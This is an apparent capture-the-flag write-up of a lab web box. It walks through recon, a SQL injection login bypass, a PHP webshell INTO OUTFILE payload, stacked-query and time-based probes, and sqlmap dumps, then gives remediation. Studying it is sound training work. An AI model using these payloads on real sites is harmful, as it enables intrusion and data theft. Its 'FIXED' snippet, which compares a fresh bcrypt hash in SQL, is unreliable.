TL;DR

Appointment is a Tier 1 web box running Apache 2.4.38 on Debian 10 with a PHP login form backed by MariaDB. The username POST parameter is directly interpolated into a SQL query with no sanitization. A classic ' OR '1'='1' -- - payload bypasses authentication and triggers the flag to appear in the HTTP response. Going deeper with sqlmap confirms boolean-based blind injection, extracts the appdb database schema, and dumps two user records — including a plaintext password for a test user. The lesson: unsanitized SQL interpolation in authentication queries is still widespread, and it can be exploited by any attacker who knows three characters: ', --, and 1.

Recon

1. Liveness check

$ ping -c 2 10.129.36.228
Request timeout for icmp_seq 0
100% packet loss

ICMP filtered. Use -Pn.

2. Port sweep

$ nmap -Pn -T4 -p 1-10000 --min-rate=1000 10.129.36.228
PORT   STATE SERVICE
80/tcp open  http

Single open port: 80/tcp. All other ports return connection refused.

3. Service detection

$ nmap -Pn -sV -sC -p 80 10.129.36.228
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)

Apache 2.4.38 on Debian 10 (Buster). The page title is “Login” — the root URL serves a login form directly.

4. Web application fingerprint

whatweb http://10.129.36.228/
# → Apache/2.4.38 (Debian) | Title: Login | Content-Type: text/html; charset=UTF-8

No JavaScript frameworks, no CMS. Simple PHP application. The form sends username and password via POST to /.

Foothold

Dead end #1 — first scan missed the host

$ nmap -sV -sC -p 22,80,443,8080 10.129.36.228
All ports filtered.

Nmap without -Pn treats ICMP-filtered hosts as down and skips them. Adding -Pn (skip host discovery, treat as up) fixes this. On HTB, -Pn is almost always required.

Dead end #2 — INTO OUTFILE webshell

After confirming SQLi, attempted to escalate to RCE via file write:

username=xxx' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 
  INTO OUTFILE "/var/www/html/shell.php"-- -&password=test

The query executed successfully (no error), but accessing /shell.php returned 404. Investigation via time-based blind injection confirmed:

username=admin' AND IF(@@secure_file_priv IS NULL, SLEEP(3), SLEEP(0))-- -&password=test
# → 3.083 second delay — confirmed secure_file_priv IS NULL

When secure_file_priv is NULL (distinct from empty string ""), MySQL/MariaDB blocks all LOAD FILE and INTO OUTFILE operations regardless of user permissions. No file read/write via SQL is possible.

Dead end #3 — stacked queries for code execution

username=admin'; UPDATE users SET password='hacked' WHERE username='admin';-- -

No error, no effect. PHP mysqli_query() (not mysqli_multi_query()) does not support multiple statements in a single call. Stacked queries are silently ignored.

Working approach — authentication bypass via OR injection

The login query likely looks like:

SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]';

Injecting admin' OR '1'='1' -- - transforms this to:

SELECT * FROM users WHERE username='admin' OR '1'='1' -- -' AND password='test';

The comment (-- -) removes the password check. '1'='1' is always true. The WHERE clause matches every row. The application receives a result, considers the login successful, and renders the post-login page.

curl -s -X POST http://10.129.36.228/ \
  -d "username=admin' OR '1'='1' -- -&password=test"

Response:

<h2 class="w3-center">Congratulations!</h2>
<p class="w3-center">Your flag is: [REDACTED]</p>

Deeper enumeration with sqlmap

sqlmap -u "http://10.129.36.228/" \
  --data="username=admin&password=test" \
  -p username \
  --string="Congratulations" \
  --technique=B --level=2 --risk=1 --batch --dbs

Discovered databases:

  • appdb
  • information_schema

Table structure of appdb.users:

+----------+---------------------+
| Column   | Type                |
+----------+---------------------+
| id       | bigint(20) unsigned |
| username | text                |
| password | text                |
+----------+---------------------+

Dumped user data:

+----+---------------------------------------------------+----------+
| id | password                                          | username |
+----+---------------------------------------------------+----------+
| 1  | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin    |
| 2  | bababa                                            | test     |
+----+---------------------------------------------------+----------+

Passwords stored in plaintext. The admin password is a complex random string (ironically, more secure than most passwords). The test user has bababa — trivially guessable.

Privilege Escalation

N/A — Starting Point Tier 1 box with web-only attack surface. Port 22 returns connection refused. No other services exist. The SQL injection provides database read access but not OS-level access (no INTO OUTFILE, no stacked queries, no UDF injection possible with secure_file_priv=NULL).

What’s actually broken

  1. Unsanitized SQL query construction. The PHP code concatenates user input directly into a SQL string. This is the quintessential CWE-89 (SQL Injection) — the most fundamental web security failure, described in OWASP since 2004.
  2. Passwords stored in plaintext. The password column in appdb.users holds cleartext passwords. Even if SQLi is fixed, a separate dump of the users table (via another SQLi or insider threat) exposes every password immediately.
  3. No rate limiting on login attempts. Unlimited POST requests are accepted. An attacker can brute-force credentials without throttling.
  4. Error messages reveal database type. Time-based blind injection (SLEEP(3)) confirming MySQL/MariaDB narrows the attacker’s approach before any public fingerprinting.

Remediation (the boring half)

Use parameterized queries (prepared statements):

// VULNERABLE:
$query = "SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'";

// FIXED:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], password_hash($_POST['password'], PASSWORD_BCRYPT)]);

Hash passwords with bcrypt:

// On registration:
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT, ['cost' => 12]);

// On login:
if (password_verify($plaintext_password, $stored_hash)) { /* success */ }

Add rate limiting (fail2ban for Apache):

# /etc/fail2ban/jail.local
[apache-auth]
enabled = true
maxretry = 5
findtime = 300
bantime = 3600

Suppress detailed error messages:

// php.ini or .htaccess
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

Lessons learned

  • SQL injection is still everywhere. OWASP Top 10 has listed injection flaws at #1 or #3 for twenty years. It persists because developers concatenate strings instead of using prepared statements.
  • secure_file_priv=NULL blocks file operations even for privileged users. When you see INTO OUTFILE fail with no error but no file created, check @@secure_file_priv. NULL = completely disabled (not the same as ""= unrestricted).
  • Boolean-based blind SQLi requires only two inputs. You don’t need error messages or UNION output. Two different response sizes (365 bytes vs 1071 bytes here) give you a binary oracle for extracting any data from the database one bit at a time.
  • Time-based SQLi confirms database type. SLEEP(3) works on MySQL/MariaDB. pg_sleep(3) for PostgreSQL. WAITFOR DELAY '0:0:3' for MSSQL. Knowing the database type immediately guides which injection payloads to try.

References